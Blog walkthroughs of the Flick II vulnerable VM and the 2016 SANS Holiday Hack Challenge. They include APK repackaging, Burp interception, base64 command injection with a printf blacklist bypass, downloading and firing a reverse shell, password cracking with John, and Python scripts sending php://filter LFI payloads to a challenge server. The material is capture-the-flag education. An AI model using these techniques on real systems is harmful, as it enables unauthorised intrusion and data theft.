  signing: res/drawable-xxhdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xxxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable/abc_btn_check_material.xml
  signing: res/drawable/abc_btn_default_mtrl_shape.xml
  signing: res/drawable/abc_btn_radio_material.xml
  signing: res/drawable/abc_cab_background_internal_bg.xml
  signing: res/drawable/abc_cab_background_top_material.xml
  signing: res/drawable/abc_edit_text_material.xml
  signing: res/drawable/abc_item_background_holo_dark.xml
  signing: res/drawable/abc_item_background_holo_light.xml
  signing: res/drawable/abc_list_selector_background_transition_holo_dark.xml
  signing: res/drawable/abc_list_selector_background_transition_holo_light.xml
  signing: res/drawable/abc_list_selector_holo_dark.xml
  signing: res/drawable/abc_list_selector_holo_light.xml
  signing: res/drawable/abc_ratingbar_full_material.xml
  signing: res/drawable/abc_spinner_textfield_background_material.xml
  signing: res/drawable/abc_switch_thumb_material.xml
  signing: res/drawable/abc_tab_indicator_material.xml
  signing: res/drawable/abc_textfield_search_material.xml
  signing: res/layout-v11/abc_screen_content_include.xml
  signing: res/layout-v21/abc_screen_toolbar.xml
  signing: res/layout/abc_action_bar_title_item.xml
  signing: res/layout/abc_action_bar_up_container.xml
  signing: res/layout/abc_action_bar_view_list_nav_layout.xml
  signing: res/layout/abc_action_menu_item_layout.xml
  signing: res/layout/abc_action_menu_layout.xml
  signing: res/layout/abc_action_mode_bar.xml
  signing: res/layout/abc_action_mode_close_item_material.xml
  signing: res/layout/abc_activity_chooser_view.xml
  signing: res/layout/abc_activity_chooser_view_list_item.xml
  signing: res/layout/abc_expanded_menu_layout.xml
  signing: res/layout/abc_list_menu_item_checkbox.xml
  signing: res/layout/abc_list_menu_item_icon.xml
  signing: res/layout/abc_list_menu_item_layout.xml
  signing: res/layout/abc_list_menu_item_radio.xml
  signing: res/layout/abc_popup_menu_item_layout.xml
  signing: res/layout/abc_screen_content_include.xml
  signing: res/layout/abc_screen_simple.xml
  signing: res/layout/abc_screen_simple_overlay_action_mode.xml
  signing: res/layout/abc_screen_toolbar.xml
  signing: res/layout/abc_search_dropdown_item_icons_2line.xml
  signing: res/layout/abc_search_view.xml
  signing: res/layout/abc_simple_dropdown_hint.xml
  signing: res/layout/activity_command.xml
  signing: res/layout/activity_do_register.xml
  signing: res/layout/activity_main.xml
  signing: res/layout/activity_read_api_server.xml
  signing: res/layout/activity_register.xml
  signing: res/layout/support_simple_spinner_dropdown_item.xml
  signing: res/menu/menu_command.xml
  signing: res/menu/menu_do_register.xml
  signing: res/menu/menu_main.xml
  signing: res/menu/menu_read_api_server.xml
  signing: res/menu/menu_register.xml
  signing: res/mipmap-hdpi-v4/ic_launcher.png
  signing: res/mipmap-mdpi-v4/ic_launcher.png
  signing: res/mipmap-xhdpi-v4/ic_launcher.png
  signing: res/mipmap-xxhdpi-v4/ic_launcher.png
  signing: resources.arsc
jar signed.

Warning: 
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-06) or after any future revocation date.

And now lets try installing it again:

MahcBook-Pro:temp sebastianbrabetz$ /path/to/Library/Android/sdk/platform-tools/adb install flick-hacked.apk 
803 KB/s (1110948 bytes in 1.350s)
	pkg: /data/local/tmp/flick-hacked.apk
Success

Awesome it worked!

Now lets try to MitM the App with burp:

first-mitm-connection

 

And lets take a look at burp:

first-mitm-connection2

Awesome it worked! We can now MitM the Programm and see it registering the Device!

We can now watch the Programs API Functioncalls:

free-in-app

And in burp:

free-in-burp

Now we can use “Action -> Send to Repeater” to interactively play with the API:

api-games

Nice!!!

Third Order of Business: From API to Shell!

You can read the sourcecode or easily guess that the app just base64 encodes the linux shell commands.

Lets try another one:

decoder-id

And execute it:

id-call

gotcha! Lets see if we can download my favorite Perl Reverse shell that comes with Kali on FlickII

First we need a simple webserver for hosting the perl file:

simple-http-server1

 

Now lets try to wget my shell:

wget-fail

command not found….

Lets try curl instead:

curl-decoder

And execute it:

curl-ok

*boom*

simple-http-server

Nice now I have placed my Perl-Reverseshell script on the Server!
Lets see if I can find it:

ls-decoder
And again execute:

ls-banned-command

 

Oh no! Banned command! Seems like the API blacklists certain commands!

Blacklisting however is always vulnerable, i just need to figure out a command that lets me  execute any blacklisted command!

After a bit of searching arround stackoverflow i learned that printf is this almighty creature!

It lets me list directories:

printf-ls-tmp1

 

printf-ls-tmp2

 

Oh nice, there is my shell!

printf lets me display the content of files using this sytnax:

 printf "%s" "$(</etc/passwd)"

printf-to-display-etcpasswd

And printf lets me execute it using this neat trick:

printf-execute-banned-commands

 

Lets try:

shooting-reverse-shell-using-printf

*boom* again:

we-got-shell

 

This feeling when the reverse shell pops! :-)

This Concludes the first part of the writeup!

Now I need to figure out the privesc and become root so i continue with part II of flick II

 

Thanks to:

@leonjza for providing this awesome VM + Android App!

@edskoudis and the entire SANS Team + everyone else that created and supported this years SANS Holiday Hack Challenge 2016!

If you want read up on this topics I recommend:

  1. This years Holiday Hack Challenge
  2. SANS Pen Test – How To’s: Manipulating Android Applications – Youtube Video
  3. Mining Android Secrets (Decoding Android App Resources)
  4. Joshua Wrigth’s presentation from HackFest 2016 on using Android Studio and JadX (PPTX)
  5. Bypassing Certificate Pinning on Android for fun and profit

Thanks for reading to the end!
Feel free to ask questions in the comments!

–> Continue to Part 2 of the Walkthrough Here <–

Merry Christmas!

BR
Sebastian

Posted in boot2root, miscellaneous, vulnhub | 1 Comment

2016 SANS Holiday Hack Challenge Writeup (Walkthrough)

Its my favorite time of the year again: SANS Holiday Hack Challenge Time:
https://holidayhackchallenge.com/2016/

So lets start with the Writeup:

Part 1: A Most Curious Business Card

Oh noes! Santa got kidnapped! But he lost his business card:

bildschirmfoto-2016-12-11-um-22-48-45

 

But good news he left clues on his Twitter and Instagram!
So lets answer the questions:

1) What is the secret message in Santa’s tweets?

Santas Tweets look like gibberish, but they have interesting dots in them! I wanted to get them in a neat text file to make it easier to spot any patterns.

There are multiple ways to achieve this. I chose the quickest: Just use a website to grab all the tweets:

bildschirmfoto-2016-12-11-um-22-58-40

 

Twlets.com in this case lets you save all tweets of an account as csv easily. The result viewed in Excel already showed an interesting pattern:

bildschirmfoto-2016-12-13-um-21-11-12

 

Not perfectly visible yet but when you put it in a monospaced terminal you can see it perfectly:

bildschirmfoto-2016-12-11-um-23-00-51

 

Lets zoom out:

bildschirmfoto-2016-12-11-um-23-01-13

 

And the answer is: BugBounty \o/

2) What is inside the ZIP file distributed by Santa’s team?

One of the Elves gave me a dungeon.zip containing an old Text Based Adventure Game in form of an 64bit Elf Binary:

bildschirmfoto-2016-12-13-um-21-29-38

 

However this questions most likely is centered around a different zip file ;)

On Santas Business card we can see he has an Instagram Account! This is one of the pictures on his Instagram:

instagram

 

If you zoom in on the Display you can see this:

santagram

 

SantaGram_v4.2.zip!

Now where could we get our hands on this? Lets take a look where the other download came from:

http://www.northpolewonderland.com/dungeon.zip

Now lets try to be really sneaky and try this:

http://www.northpolewonderland.com/SantaGram_v4.2.zip

We have a winner! \o/

Now to answer whats inside of the ZIP file we have to get it open first, as it is password protected:

bildschirmfoto-2016-12-28-um-12-30-33

 

John to the rescue!

The default John that comes with Kali had issues with PKZIP so I downloaded the latest JTR Jumbo from Openwall.

Before investing to much energy intro cracking the password cleverly I tried the low hanging fruit: Pure Bruteforce!

 root@kali:/opt/JohnTheRipper/run# ./zip2john /root/Desktop/hack/SantaGram_v4.2.zip 
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
SantaGram_v4.2.zip:$pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbccd3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c05993193998054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78...
....
5e470450e30c1e16bdbb4dd95b4bfdd154263df57600e7359fcee03e4e1bf125c79707616a1719f826122522bf9174292c25fa8becc1e0a9ce453cc491366fd837220a8a11e260d09b14109595af02c75689280d3fa8f07e024ad5d4ebfa1f00f...$/pkzip2$:::::/root/Desktop/hack/SantaGram_v4.2.zip
root@kali:/opt/JohnTheRipper/run# ./zip2john /root/Desktop/hack/SantaGram_v4.2.zip > /tmp/hash.txt
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
root@kali:/opt/JohnTheRipper/run# ./john /tmp/hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:36 3/3 0g/s 7459Kp/s 7459Kc/s 7459KC/s eg611t..ew0sow
0g 0:00:05:39 3/3 0g/s 10380Kp/s 10380Kc/s 10380KC/s wqz7QE..wqz_3t
bugbounty (SantaGram_v4.2.zip)
1g 0:00:06:09 DONE 3/3 (2016-12-28 06:39) 0.002706g/s 10407Kp/s 10407Kc/s 10407KC/s bugbolico..bugbaddor
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Don’t ask me why zip2john.py is outputting the entire f* file instead of just the hash but it worked this way and was cracked in 6 minutes inside a virtual machine running on a 4xCore i7  Macbook….

Ofcourse we already had the password from the hidden twitter message but thinking about this would have taken more effort than just brute forcing it…

So now equipped with the password I can finally answer the question, whats inside of the ZIP file:

zipcracked

 

An Android APK! I like where this is going!

Part 2: Awesome Package Konveyance (APK got it!)

With the APK at hand let me answer question 3&4:

3) What username and password are embedded in the APK file?

This questions can be answered most easily using jadx! With it’s lovely search function I found the hardcoded credentials right away:

jadx-search

 

And here it is:

hardcoded-credsSo to Answer the question directly, the hardcoded Credentials in the APK are:

username: "guest"
password: "busyreindeer78"

4) What is the name of the audible component (audio file) in the SantaGram APK file?

The easiest way to get to the audio is to just unzip the APK:

root@kali:~/Desktop/hack# unzip SantaGram_4.2.apk 
Archive: SantaGram_4.2.apk
 inflating: AndroidManifest.xml 
 inflating: META-INF/CERT.RSA 
...
...
...
extracting: res/mipmap-xxhdpi-v4/ic_launcher.png 
 extracting: res/mipmap-xxxhdpi-v4/ic_launcher.png 
 extracting: res/raw/discombobulatedaudio1.mp3 
 extracting: resources.arsc 
root@kali:~/Desktop/hack# 

The name of the audible component is: discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi

After collecting all Parts of the Rasp…. Errrr. Cranberry Pi I was provided the the SD Card Image for it from one of the Elves:

pimagecranbian.img.zip

5) What is the password for the “cranpi” account on the Cranberry Pi system?

To solve this I needed to mount the Cranberry Pi Images as was well described in a SANS Blog Article provided by one of the Elfs:

cranpiimageelf

SANS Blog: Mount a Raspberry Pi FileSystem Image

Raspian / Cranpian is a Debian based Linux so as with every Linux the password Hash can be obtained from shadow:

root@kali:~/Desktop/hack# fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device Boot Start End Sectors Size Id Type
cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA)
cranbian-jessie.img2 137216 2713599 2576384 1.2G 83 Linux
root@kali:~/Desktop/hack# echo $((512*137216))
70254592
root@kali:~/Desktop/hack# mkdir mount
root@kali:~/Desktop/hack# mount -v -o offset=70254592 -t ext4 cranbian-jessie.img mount/
mount: /dev/loop0 mounted on /root/Desktop/hack/mount.
root@kali:~/Desktop/hack# cat mount/etc/shadow
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
messagebus:*:17067:0:99999:7:::
avahi:*:17067:0:99999:7:::
ntp:*:17067:0:99999:7:::
sshd:*:17067:0:99999:7:::
statd:*:17067:0:99999:7:::
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

As I have a lovely password cracking / VR Gaming Rig set up with a GTX1080 I transferred the cracking of the password-hash to GPU this time:

First I quickly used John on Kali to identify the hash type:

johnabuse

Then I switched over to my “work computer”:

spielekiste5 Seconds, thats okay!

And the answer is: yummycookies

6) How did you open each terminal door and where had the villain imprisoned Santa?

Now we are getting down to some Linux Skills! There are 5 Doors with Cranberry Pi Interfaces:

Door 1: Elf House #2 – Room 2

Where is this Shell coming from?

snitch

 

Thats where it is coming from!

To solve the Door I have to gain Access to a pcap file and find 2 halves of the Password string:

sudo0

Im user scratchy and only user itchy can access it! So how to get at it?

sudo1

 

So like with every good privesc you want to check sudo first! sudo -l lists my options in the sudoers file and as you can see I can access tcpdump and strings as itchy without a password.

Now isn’t that convenient! Lets read it with tcpdump:

tcpdump

The first half of the password was presented right away:

firstpart

It’s “santasli“! Now lets hunt for the second part with strings!

After having no success with strings in default mode i remembered that you can switch the encoding strings uses to search for strings, so I make it a habit to just try all encodings:

part2And there is the second part: “ttlehelper“!

So the password for the door is: “santaslittlehelper“!

Behind the Door is Alabaster Snowball with some usefull Burp JSON Tips:

alabastaDoor 2: Santa’s Office

A hidden file on Linux! Oh noes!

finditallNow before I break my fingers accessing this mess from hand I just let find do the work:

open_sesame

 

So the key for this door is: “open_sesame

But what do we have in Santa’s office? Door-Ception! Another Terminal! And a hidden door in the bookshelf:

Door 3: The Corridor

doorception

 

Lets see what the Terminal Game is this time:

wargames

HA! I know this line! I’m not sure which, but one of the vulnhub VMs I did this year had a Wargames reference like this too!

So I looked up the youtube video of this scene:

youtube

And figured out that I am supposed to reenact the scene 100%:

greetingsfalken

Eventually I got the password for the hidden door:

password

LOOK AT THE PRETTY LIGHTS“!

Now behind that door I was stuck in The Corridor… For now I cannot open this door because it has no Terminal and no other clues how to open it!

the-corridor

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

To the next door!

Door 4: DFER (Dungeon For Errant Reindeer)

wumpus1

 

Another text based game! Boy do I love them…. NOT

Luckily I figured out that if you just send the command s! It just shoots into a random room! It took me 2 restarts to kill the wumpus by accident!

wumpusdeadNow is this cheating? I don’t know….

The password however is “WUMPUS IS MISUNDERSTOOD”

Behind the door you can find Santas Dungeon:

santasdungeonLast but not least:

Door 5: 1978

The last Terminal can be used to start a TimeTravelTrain (I call it TTT-Terminal)!

tttt

 

But to start the Train I need a password!

Good thing the Help menu uses LESS wich has Terminal Escape functions:

less1And here is the password: “24fb3e89ce2aa0ea422c3d511d40dd84

passwordNow back to the Futur…ERR… Past!

backtothepast

ENTER And 1978 it is:

1978I helped someone! I feel good about that!

Now after wandering around and collecting coins I stumbled over Santa in the DFER of 1978:

santaThats when I saw the outro for the first time:

outro

 

Yay that was fun! But the real challenge only starts now!

Part 4: My Gosh… It’s Full of Holes

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

All the In-Scope Addresses can be found inside of the APK:

addresses

 

The Mobile Analytics Server (via credentialed login access)

URL: https://analytics.northpolewonderland.com/

This one is pretty easy!  Remember the hardcoded credentials from question No. 3?
When you look closely below the JSON object you can see that the creds are for the Analytics Server:

analcredsLets test this:

analoginAnd here is the second mp3: discombobulatedaudio2.mp3
(Remember the first one was in the APK!)

anamp3Vulnerability for this System:

Hardcoded Credentials inside of the Android APK allows login and exfiltration of potentially sensitive Data!

The Dungeon Game (also called Zork)

Url: http://dungeon.northpolewonderland.com/

An Nmap Scan of the Server reveals an open port TCP 11111:

MahcBook-Pro:~ sebastianbrabetz$ nmap dungeon.northpolewonderland.com

Starting Nmap 7.00 ( https://nmap.org ) at 2016-12-29 18:02 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.21s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 994 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
11111/tcp open     vce

Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds

Connecting reveals an online Version of the Dungeon game:

MahcBook-Pro:~ sebastianbrabetz$ ncat dungeon.northpolewonderland.com 11111

Welcome to Dungeon. This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded front door.
There is a small wrapped mailbox here.
>

There are 2 ways to solve the Dungeon game:

1. Cheat using the hidden Debug mode

When you do strings on the dungeon binary you get from one of the Elves in the Workshop you can kinda spot a Debug “Shell”:

stringsTrying it in the Game showed its really a “secret mode”:

ingame-gdt

However I never figured out how to cheat this way as it was easier to just solve the Game by playing it:

2. Finding the Northpole and give a Gift to the Troll:

After playing the game a while I figured out that you are supposed to find a secret passage to the Northpole and you will reach it by basically climb up every chimney to can find in the game.

Once there you need to provide a Troll with one of the Trophy’s you are supposed to collect in the normal game mode:

troll

 

Shortly after sending an email to “peppy” I received the answer containing my third mp3: discombobulatedaudio3.mp3

answer

Vulnerability for this System:

I am not quite sure if you can call this a real vulnerability. I would rather say the game is supposed to work like this.  However you could call the hidden Debug service a problem because just because its not document does not mean the Debug service cannot be found.

Lesson: Security by Obscurity does not work! Someone somewhere will figure it out eventually!

The Debug Server

Url: http://dev.northpolewonderland.com

To solve this machine its important to understand the Interaction of the App with the Server first!

I used the URL inside strings.xml as a starting point and searched the entire APK for the name of the variable the URL gets stored in: debug_data_collection_url

debugsearch

This reveals the relevant part of code:

debugcode

To get a proper API call I wanted to trigger this function!

However if you read the code closely you see that the function will only trigger if Remote Logging is set to true in strings.xml:

debugstring

 

To set this value to “true” I used apktool to disassemble the the APK to smali code:

MahcBook-Pro:challenge 2 sebastianbrabetz$ ./apktool d SantaGram_4.2.apk 
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/sebastianbrabetz/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

And then replaced the false with true:

MahcBook-Pro:values sebastianbrabetz$ pwd
/Users/sebastianbrabetz/Desktop/hackchallenge2016/challenge 2/SantaGram_4.2/res/values
MahcBook-Pro:values sebastianbrabetz$ sed -i '' 's/<string name="debug_data_enabled">false/<string name="debug_data_enabled">true/g' strings.xml

And finally build the APK again:

MahcBook-Pro:challenge 2 sebastianbrabetz$ ./apktool b SantaGram_4.2
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...

Before this repacked APK can be installed it needs to be signed though. Gladly a self-signed Certificate will suffice for this!

This basically involves 2 Steps on a Mac:

  1. Create your own Keystore:keytool -genkey -keystore (name).keystore -validity 10000 -alias (name)
  2. Sign APK with this Keystore:jarsigner -keystore (keystorenamename).keystore -verbose NameOf.apk (keystorename)

With the now modified, repacked and self-signed APK I was able to observe the Debug Server API function call via Burp:

debugburpburp

And using the “copy to curl” command from Burp I played around with the API from bash. What I saw in the replies was that the Server answered with a “verbose: false” setting even though I did not specify it.

So I just tried to send a “verbose: true“:

verbosetrue

Low and behold, the server disclosed me the location of my fourth mp3: debug-20161224235959-0.mp3

The ID3 Tag disclosed that it is in fact: discombobulatedaudio4.mp3

id3

Vulnerability for this System:

Again I would not necessarily say this is a vulnerability, but it should be expected that people can reverse engineer Android applications and point them to preprogrammed dev systems to obtain Information that might not be classified for public consumption.

Again you should never rely on security by obscurity!

Maybe better: Strip Debug Code from the APK before you release it to the public! Once code / APKs leave your environment they are fair game! Never try to hide stuff in Android APKs!

The Banner Ad Server

Url: http://ads.northpolewonderland.com

Visiting the Website hosted on this Server and investigating its Source I quickly found that it is using MeteorJS:

sourceGood thing one of the Elves pointed me to the lovely SANS Blog Post: Mining Meteor

Equipped with Tampermonkey and the MeteorMiner Script I quickly found the “hidden” routes:

routesFollowing the Blog Article to the letter I was eventually able to find my 5th mp3: discombobulatedaudio5.mp3 

audio

 

Vulnerability for this System:

Main Problem: complex software was not understood in its entirety! The Meteor Framework for this WebApp was not configured tightly enough and Data was leaked without authentication.

The Uncaught Exception Handler Server

Url: http://ex.northpolewonderland.com

Scanning the Server is only showing Port 22 and 80 open and on the Webserver there is only a 403 Forbidden page beside the exception.php referenced in the Android APK.

Lets follow the Source-code again and check where the variable exhandler_url is used:

writecrashdump-functionSo I whipped up a small python script to talk to the API:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',
json={
"operation": "WriteCrashDump",
"crashdump": "test",
"data": {"crashdump": "test"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

Lets run it:

root@kali:~/Desktop/hack/json# ./temp1.py 
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "crashdump-MdXDrS.php"
}

Looks good, lets view it in Browser:

creashdumpbrowserNow if that doesn’t look like a Remote Code execution vulnerability! Better yet lets try the Source code leak / LFI the one Elf pointed out in this cool SANS Blog Article: Getting MOAR Value out of PHP Local File Include Vulnerabilities

So lets try to weaponize this knowledge:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',

json={
"operation": "WriteCrashDump",
"crashdump": "test",
"data": {"crashdump": "php://filter/convert.base64-encode/resource=crashdump-81N0mz.php"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

Lets try this:

root@kali:~/Desktop/hack/json# ./json-exception-writecrashdump.py 
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "crashdump-dFb497.php"
}

And look again at it in browser:

failFail! :-(

But wait! Where there is WriteCrashDump there might be ReadCrashDump as well!

Lets try this:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',

json={
"operation": "ReadCrashDump",
"crashdump": "test",
"data": {"crashdump": "php://filter/convert.base64-encode/resource=exception"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

And run it:

root@kali:~/Desktop/hack/json# ./json-exception-readcrashdump.py 
PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZSBQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZihzdHJjYXNlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsKICAgIGRpZSgiQ29udGVudCB0eXBlIG11c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU09OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YWxpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsKICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2J